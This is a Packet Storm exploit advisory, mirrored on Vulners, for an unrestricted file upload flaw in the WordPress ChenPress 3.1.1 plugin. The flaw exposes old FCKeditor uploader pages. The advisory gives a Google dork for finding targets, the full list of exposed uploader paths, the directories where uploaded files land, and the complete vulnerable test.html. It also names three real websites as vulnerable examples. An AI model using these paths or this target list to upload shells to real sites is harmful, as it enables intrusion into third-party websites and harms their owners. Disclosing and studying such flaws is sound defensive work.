Vulners
Lucene search
WordPress ChenPress 3.1.1 Shell Upload
🗓️ 20 Dec 2018 00:00:00Reported by KingSkrupellosType 
packetstorm🔗 packetstormsecurity.com👁 53 Views
`#################################################################################################
# Exploit Title : WordPress ChenPress Plugins 3.1.1 Remote Shell Upload
Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 20/12/2018
# Vendor Homepage : wordpress.org ~ groups-beta.google.com/group/ChenPress
# Software Download Link :
groups.google.com/group/ChenPress/attach/de5f7cc401d8c608/chenpress_3.1.1.zip?part=2
# Script Owner Email : [email protected] ~ W. Chen
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 3.1.1
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/chenpress/''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
+ CWE-434: Unrestricted Upload of File with Dangerous Type
# Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~
ayarsecurity.com [ Friend ]
#################################################################################################
# Exploit :
/wp-content/plugins/chenpress/fckeditor/editor/filemanager/browser/mcpuk/browser.html
/wp-content/plugins/chenpress/FCKeditor/editor/filemanager/upload/test.html
/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/upload/test.html
/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/browser/default/browser.html
/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/browser/default/frmupload.html
/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/browser/mcpuk/frmupload.html
# Directory File Path :
/wp-content/plugins/chenpress/UserFiles/File/.....
/wp-content/uploads/.....
/wp-content/uploads/[YEAR]/[MONTH]/.....
#################################################################################################
Vulnerable File Code : /test.html
<!--
* FCKeditor - The text editor for internet
* Copyright (C) 2003-2005 Frederico Caldeira Knabben
*
* Licensed under the terms of the GNU Lesser General Public License:
* http://www.opensource.org/licenses/lgpl-license.php
*
* For further information visit:
* http://www.fckeditor.net/
*
* "Support Open Source software. What about a donation today?"
*
* File Name: test.html
* Test page for the "File Uploaders".
*
* File Authors:
* Frederico Caldeira Knabben ([email protected])
-->
<html>
<head>
<title>FCKeditor - Uploaders Tests</title>
<script language="javascript">
function SendFile()
{
var sUploaderUrl = cmbUploaderUrl.value ;
if ( sUploaderUrl.length == 0 )
sUploaderUrl = txtCustomUrl.value ;
if ( sUploaderUrl.length == 0 )
{
alert( 'Please provide your custom URL or select a default one' ) ;
return ;
}
eURL.innerHTML = sUploaderUrl ;
txtUrl.value = '' ;
frmUpload.action = sUploaderUrl ;
frmUpload.submit() ;
}
function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
{
switch ( errorNumber )
{
case 0 : // No errors
txtUrl.value = fileUrl ;
alert( 'File uploaded with no errors' ) ;
break ;
case 1 : // Custom error
alert( customMsg ) ;
break ;
case 10 : // Custom warning
txtUrl.value = fileUrl ;
alert( customMsg ) ;
break ;
case 201 :
txtUrl.value = fileUrl ;
alert( 'A file with the same name is already available. The uploaded file
has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
case 203 :
alert( "Security error. You probably don't have enough permissions to
upload. Please check your server." ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}
</script>
</head>
<body>
<table cellSpacing="0" cellPadding="0" width="100%" border="0"
height="100%">
<tr>
<td>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td nowrap>
Select the "File Uploader" to use:<br>
<select id="cmbUploaderUrl" name="Select1">
<option selected value="asp/upload.asp">ASP</option>
<option value="aspx/upload.aspx">ASP.Net</option>
<option value="php/upload.php">PHP</option>
<option value="">(Custom)</option>
</select>
</td>
<td nowrap> </td>
<td width="100%">
Custom Uploader URL:<BR>
<input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc"
disabled type="text">
</td>
</tr>
</table>
<br>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td noWrap>
<form id="frmUpload" target="UploadWindow" enctype="multipart/form-data"
action="" method="post">
Upload a new file:<br>
<input type="file" name="NewFile"><br>
<input type="button" value="Send it to the Server" onclick="SendFile();">
</form>
</td>
<td style="WIDTH: 16px"> </td>
<td vAlign="top" width="100%">
Uploaded File URL:<br>
<INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">
</td>
</tr>
</table>
<br>
Post URL: <span id="eURL"> </span>
</td>
</tr>
<tr>
<td height="100%">
<iframe name="UploadWindow" width="100%" height="100%"
src="../../fckblank.html"></iframe>
</td>
</tr>
</table>
</body>
</html>
#################################################################################################
# Example Vulnerable Sites =>
[+]
citizennetmom.com/wp-content/plugins/chenpress/chenpress/FCKeditor/editor/filemanager/upload/test.html
[+]
arqueixal.com/blog/wp-content/plugins/chenpress/fckeditor/editor/filemanager/browser/mcpuk/browser.html
[+]
ftp.unicauca.edu.co/cuentas/.cuentasbajadas29092009/comunicacionsocial/wp-content/plugins/
chenpress/FCKeditor/editor/filemanager/browser/mcpuk/browser.html
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Dec 2018 00:00Current
0.1Low risk
Vulners AI Score0.1